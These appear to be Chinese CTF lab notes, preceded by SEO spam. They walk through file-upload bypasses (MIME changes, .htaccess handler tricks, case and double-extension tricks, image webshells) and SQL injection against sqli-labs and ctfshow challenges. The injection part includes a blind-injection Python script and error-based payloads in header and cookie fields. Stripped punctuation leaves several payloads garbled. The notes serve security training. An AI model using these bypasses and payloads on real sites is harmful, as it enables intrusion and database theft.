网站排名优化推广厦门,沈阳哪个公司可以做网站,深圳网站建设服务好公司,潜山做网站#xff08;上传一句话木马#xff0c;用蚁剑链接验证是否成功/传有回显的#xff1a;?php phpinfo();?#xff09; 学看代码 #function checkfile(){}#xff1a;定义了一个名叫checkfile的函数
#var file方法.(获取名为‘upload_file’的元素)[获取哪些…
上传一句话木马用蚁剑链接验证是否成功/传有回显的?php phpinfo();? 学看代码 #function checkfile(){}定义了一个名叫checkfile的函数
#var file方法.(获取名为‘upload_file’的元素)[获取哪些第一行].获取元素的value属性
【if】判断1是否上传了
#var 允许上传文件类型.jpg .png .gif
提取文件后缀名
【if】判断2检查文件不符合要求就返回错误 $(var)申明变量
【】判断1检查$_POST数组中是否有‘submit’提交键名称
【】判断2检查上传路径是否存在
【】判断3判断文件内容类型
[upload_file]这是$_FILES数组中的一个元素对应于表单中name属性为upload_file的input typefile元素
[type]是$_FILES[upload_file]数组中的一个键它包含了上传文件的MIME类型
【】路径UPLOAD_PATH . / . $_FILES[upload_file][name]
点是PHP中的字符串连接操作符UPLOAD_PATH/上传文件名连接起来形成一个完整的文件路径 【】判断1、2上传了文件
定义不允许上传类型的后缀的数组
文件名处理删头尾空格删末尾点
找后缀处理找最后一个点之后部分小写后缀去除后缀中‘::$DATA’去除后缀头尾的空
【】判断3检查文件扩展名是否在禁止上传的扩展名列表中
构造上传文件的目标路径包括一个基于当前日期和时间的目录以及一个随机数以减少文件名冲突的可能性
【】再判断上传的文件从临时目录移动到目标目录是否成功 #严谨了后缀禁了ini没禁htaceess #没禁ini
WP
一、前端验证:禁用js 更通用做法
后缀1.jpgbp抓包改1.php
或删除js代码新文件后缀htmlaction上传地址
二、(MIMEContent-Type
bp抓包改成源码中允许上传的type
img srcC:\Users\34652\Pictures\Screenshots\屏幕截图 2024-12-20 235722.png alt屏幕截图 2024-12-20 235722 stylezoom: 50%; /
三、前端验证黑名单格式后缀【特殊解析后缀】
img srcC:\Users\34652\Pictures\Screenshots\屏幕截图 2024-12-20 235826.png alt屏幕截图 2024-12-20 235826 stylezoom:50%; /
【.png怎么执行】四、黑名单禁用特殊解析后缀防止大小写绕过
htaccess文件是Apache服务器中的一个配置文件负责相关目录下的网页配置。
网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
通俗点来说利用这个文件修改服务器的配置让服务器将文件内容符合php语法的.png结尾的文件解析为php语言去执行。
上传一个同名.htaccess文件文件名必须一致SetHandler application/x-httpd-php
五、少了大小写绕过利用
.PHp
六七、少了收尾去空少了收尾去点【Windows】
八、少了去除字符串
九、十只匹配替换一次双写绕过
.pphphp
十一、十二、后缀名是白名单但看别的函参
$save_path:%00截断
用bpurl解码
十三、
图片马末尾加码
十四、getimagesize
函数的重点——fread2字节 POINTs
POST有什么特点账户登录页面
读报错信息for the right syntax to use near 类似的...
判断是否存在sql注入
联合注入
报错注入extractvalue()、updatexml()、group by()
sql注入——报错注入-CSDN博客
布尔盲注
import requests
import timeurl http://43d7c6c4-a8ab-41f3-8e14-fc32c023ca20.challenge.ctf.show/
payload {uname : ,passwd : 123456,submit : Submit
}
result
for i in range(1,100):l 33r 130mid (lr)1while(lr):# 跑库名#-1\ or 0^ (ascii(substr((SeleCt/**/grOUp_conCAt(schema_name)/**/fROm/**/information_schema.schemata),{0},1)){1})-- .format(i, mid)# 跑表名#-1\ or 0^ (ascii(substr((SeleCt/**/grOUp_conCAt(table_name)/**/fROm/**/information_schema.tables/**/wHERe/**/table_schema/**/like/**/ctfshow),{0},1)){1})-- .format(i, mid)# 跑列名#-1\ or 0^ (ascii(substr((Select/**/groUp_coNcat(column_name)frOm/**/information_schema.columns/**/Where/**/table_name/**/like/**/flagb),{0},1)){1})-- .format(i,mid)########################-1\ or 0^ (ascii(substr((select(flag4s)from(ctfshow.flagb)),{0},1)){1})-- .format(i, mid)payload[uname] -1\ or 0^ (ascii(substr((select(flag4s)from(ctfshow.flagb)),{0},1)){1})-- .format(i, mid)html requests.post(url,datapayload)print(payload)if /images/flag.jpg in html.text:l mid1else:r midmid (lr)1if(chr(mid) ):breakresult result chr(mid)print(result)
print(flag: ,result)问为什么不能用--注释
-- --#
多了个Base64编码且读取要用到【select reverse()】
11:双参数
1
1有报错
1 or 11#
1 union select 1,2#
回显位是2
uname1 and 12 union select 1,group_concat(schema_name) from information_schema.schemata--passwd123456submitSubmit
(table_name)
information_schema.tables
where table_schemactfshow--【schema_name】 (column_name)
information_schema.columns
where table_nameflagugsd--
uname1 and 12 union select 1,group_concat(flag43s) from ctfshow.flagugsd--passwd123456submitSubmit 12
11
1有报错
1) or 11#
1) union select 1,2#
13单引号
用\报错
14双引号
15(没有报错信息)布尔盲注
测闭合测回显位盲注不用
16布尔盲注
1) or --登陆成功
17【密码RESET界面】报错注入【代码有报错】
查看源码
$value账户名获取、处理删除\转义特殊字符数字变整数 从$update注入
unameDUMBpasswd123456submitSubmit and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))-- 18:ip
返回了User Agent【U-A注入】
【POST:
unameDUMBpasswdDUMBsubmitSubmit】
【schema_name】 and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)) and 11
【table_name】 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemactfshow),0x7e)) and 11
【column_name】 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemactfshow and table_nameflag),0x7e)) and 11
【获取字段值】 and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and 11
【逆读】 and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e)) and 11
19:referer注入
和U-A一样
20:cookie注入
登录得到回显(包括了自己的cookie)
【检查了POST存在COOKIE方式提交的uname变量】
猜测在header里的cookie进行注入
1测注入点测闭合方式
爆库
uname and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and 11
21:
多了个Base64编码 该版本sqli-labs结束.